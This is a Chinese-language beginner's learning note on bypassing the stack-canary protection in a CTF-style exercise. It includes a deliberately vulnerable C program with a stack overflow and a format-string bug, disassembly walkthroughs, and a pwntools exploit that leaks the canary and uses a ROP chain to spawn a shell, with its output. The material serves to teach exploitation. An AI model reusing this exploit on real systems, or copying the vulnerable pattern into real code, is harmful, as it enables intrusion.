一个pwn新手的笔记
本文是个人对Canary保护详解和常用Bypass手段的学习笔记
1.1 canary保护简介:
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致
个人理解:
- canary=金丝雀,就像是之前里面探测瓦斯用的方法一样,金丝雀(canary)就是一个值,插入到了栈里面。函数结束时,如果检测到值改变了(相当于探测到了瓦斯),执行___stack_chk_fail函数,就会提前退出程序。
特点:
canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。
1.2 C/C++的实现方法:
以一个64位程序为例子
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char ooo[100];
for(int i=0;i<2;i++){
read(0, ooo, 0x200);
printf(ooo);
}
}
int main(void) {
init();
puts("Hello radish!");
vuln();
return 0;
}
使用
gcc -fstack-protector-all pwn4fun.c -o pwn4fun
进行编译
-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护
2.1 进行操作:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# rabin2 -I pwn4fun
arch x86
baddr 0x400000
binsz 7101
bintype elf
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
可以明显看到canary保护开启了
root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# r2 -AAA pwn4fun
[Cannot analyze at 0x00400660g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00400660ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
-- Help subcommand will be eventually removed.
[0x00400670]> afl
0x00400670 1 41 entry0
0x00400650 1 6 sym.imp.__libc_start_main
0x004006a0 4 50 -> 41 sym.deregister_tm_clones
0x004006e0 4 58 -> 55 sym.register_tm_clones
0x00400720 3 28 entry.fini0
0x00400740 4 38 -> 35 entry.init0
0x00400930 1 2 sym.__libc_csu_fini
0x00400934 1 9 sym._fini
0x00400610 1 6 sym.imp.setbuf
0x00400600 1 6 sym.imp.__stack_chk_fail
0x004008c0 4 101 sym.__libc_csu_init
0x004005f0 1 6 sym.imp.puts
0x00400620 1 6 sym.imp.system
0x004005c0 3 26 sym._init
0x00400630 1 6 sym.imp.printf
0x00400640 1 6 sym.imp.read
0x00400766 3 56 sym.getshell
0x0040079e 3 106 sym.init
0x00400808 6 104 sym.vuln
0x00400870 3 80 main
这里虽然麻烦,但是还是挂一下r2的反汇编感受一下:
[0x00400670]> pdf@main
; DATA XREF from entry0 @ 0x40068d
┌ 80: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ 0x00400870 55 push rbp
│ 0x00400871 4889e5 mov rbp, rsp
│ 0x00400874 4883ec10 sub rsp, 0x10
│ 0x00400878 64488b042528. mov rax, qword fs:[0x28]
│ 0x00400881 488945f8 mov qword [var_8h], rax
│ 0x00400885 31c0 xor eax, eax
│ 0x00400887 b800000000 mov eax, 0
│ 0x0040088c e80dffffff call sym.init
│ 0x00400891 bf4c094000 mov edi, str.Hello_radish ; 0x40094c ; "Hello radish!" ; const char *s
│ 0x00400896 e855fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040089b b800000000 mov eax, 0
│ 0x004008a0 e863ffffff call sym.vuln
│ 0x004008a5 b800000000 mov eax, 0
│ 0x004008aa 488b55f8 mov rdx, qword [var_8h]
│ 0x004008ae 644833142528. xor rdx, qword fs:[0x28]
│ ┌─< 0x004008b7 7405 je 0x4008be
│ │ 0x004008b9 e842fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from main @ 0x4008b7
│ └─> 0x004008be c9 leave
└ 0x004008bf c3 ret
这个就是检查失败过后运行的函数
0x004008b9 e842fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
对canary应该有了个大致印象
下面为了方便,直接上IDA吧:
- 字符串:
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2
LOAD:00000000004003E9 0000000A C libc.so.6
LOAD:00000000004003F3 00000005 C puts
LOAD:00000000004003F8 00000011 C __stack_chk_fail
LOAD:0000000000400409 00000006 C stdin
LOAD:000000000040040F 00000007 C printf
LOAD:0000000000400416 00000005 C read
LOAD:000000000040041B 00000007 C stdout
LOAD:0000000000400422 00000007 C stderr
LOAD:0000000000400429 00000007 C system
LOAD:0000000000400430 00000007 C setbuf
LOAD:0000000000400437 00000012 C __libc_start_main
LOAD:0000000000400449 0000000F C __gmon_start__
LOAD:0000000000400458 0000000A C GLIBC_2.4
LOAD:0000000000400462 0000000C C GLIBC_2.2.5
.rodata:0000000000400944 00000008 C /bin/sh
.rodata:000000000040094C 0000000E C Hello radish!
.eh_frame:0000000000400A0F 00000006 C ;*3$\"
2.2 函数check
- main
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(*(_QWORD *)&argc, argv, envp);
puts("Hello radish!");
vuln("Hello radish!");
return 0;
}
- vuln
unsigned __int64 vuln()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
printf(&buf, &buf);
}
return __readfsqword(0x28u) ^ v3;
}
很明显的一个溢出,而且v3就是canary的值
2.3 Crash
v3是 rbp-8h,buf是rbp-70,read可以读入200h,canary的末尾是\x00结尾的
那么我们可以输入 0x70-0x8=0x68的字符串来泄露canary的值
比如说这样:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# ./pwn4fun
Hello radish!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
dg♂`}
为了不让文章太长,直接上EXP(主要是感受):
from pwn import *
#context.log_level = 'debug'
p = process("./pwn4fun")
pop_rdi_ret = 0x0400923
binsh = 0x040077d
print("========CANARY_LEAK=========")
payload = 'a'*104
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil('a'*104+'\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
print("canary=====>",hex(canary))
print("========GET_SHELL=========")
payload = 'a'*104 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
p.sendline(payload)
p.interactive()
最后的效果
root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# python flag.py
[+] Starting local process './pwn4fun': pid 165
========CANARY_LEAK=========
('canary=====>', '0x6af6e5d7d7b3bd00')
========GET_SHELL=========
[*] Switching to interactive mode
\x7f$ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$
$ ls
flag flag.py pwn4fun pwn4fun.c
$ cat flag
flag{pwn_1s_r34lly_fun}
2.4 EXP说明
- 最开始进行泄露,利用printf成功获得canary的值
- 栈覆盖过后,利用gadget getshell,
- canary值主要是覆盖后用于验证(rbp-70h的位置)
3 感悟
最后上一张图吧,